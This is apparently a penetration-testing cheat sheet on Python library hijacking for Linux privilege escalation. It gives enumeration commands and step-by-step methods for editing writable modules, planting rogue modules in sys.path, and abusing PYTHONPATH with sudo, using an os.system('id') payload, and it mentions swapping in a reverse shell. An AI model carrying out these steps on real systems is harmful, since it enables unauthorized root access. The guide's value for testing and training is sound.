Skip to main content

Python Library Hijacking

Python Library Hijacking is an attack where a malicious actor tricks Python into loading a rogue library instead of the intended one, leading to unauthorized code execution. This can happen due to misconfigured import paths, dependency confusion, or poisoned PyPI packages.

Enumeration

ls -l *.py | grep 's'  # Look for SUID bit in Python scripts

# Identify imported modules in a script
cat script_name.py | grep 'import' # Find imported modules

# Locate module's installation path
python3 -c 'import psutil; print(psutil.__file__)'

# Check permissions of a module (modifiable = vulnerable)
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

# Locate Library's Default Installation
pip3 show flask | grep "Location"

Modify Writable Module

nano /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

## Note: To know where to inject payload we can check the 'script_name.py' to see
## which function/method is being called in that script, we can manipulate that
## function.

# Example Payload
```python
import os
os.system('id')
```

# Run script to execute hijacked module
sudo /usr/bin/python3 ./script_name.py

## Note: We can instead add python reverse shell script from revshells.com as payload

Library Path Hijacking

python3 -c 'import sys; print("\n".join(sys.path))'

# Find a writable directory in the search path
ls -ld /usr/lib/python3.8 # Check if write permissions exist

# Create malicious module in writable directory
sudo nano /usr/lib/python3.8/psutil.py
```python
import os
def function_name_which_is_being_called():
os.system('id') # or reverse shell payload
```

# Run script to hijack module execution
sudo /usr/bin/python3 ./script_name.py

PYTHONPATH Environment Variable Hijacking

sudo -l  # Look for SETENV permission

# Set PYTHONPATH to point to our malicious module
export PYTHONPATH=/tmp/

# Create fake module in /tmp
nano /tmp/psutil.py
```python
import os
def function_name_which_is_being_called():
os.system('id') ## or reverse shell payload
```

# Execute script with modified PYTHONPATH
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./script_name.py

More

  1. https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8
  2. https://www.youtube.com/watch?v=vXkGYLfQauk